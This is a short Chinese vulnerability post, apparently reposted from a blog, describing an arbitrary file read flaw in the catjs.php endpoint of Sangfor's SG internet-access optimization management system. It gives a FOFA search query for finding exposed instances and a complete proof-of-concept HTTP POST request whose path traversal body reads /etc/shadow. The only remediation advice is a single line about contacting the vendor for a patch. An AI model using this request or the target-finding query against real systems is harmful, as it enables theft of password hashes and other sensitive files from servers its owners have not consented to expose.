1、简介
2、漏洞描述
深信服 SG上网优化管理系统 catjs.php 存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器上的敏感文件
3、受影响版本
深信服 SG上网优化管理系统
4、FOFA语句
title==“SANGFOR上网优化管理”
5、漏洞复现
POC
POST /php/catjs.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Content-Length: 32
["../../../../../../etc/shadow"]
6、整改建议
联系厂商升级补丁
标签：zh,..,SG,漏洞,php,catjs From： https://www.cnblogs.com/fuchangjiang/p/17719243.html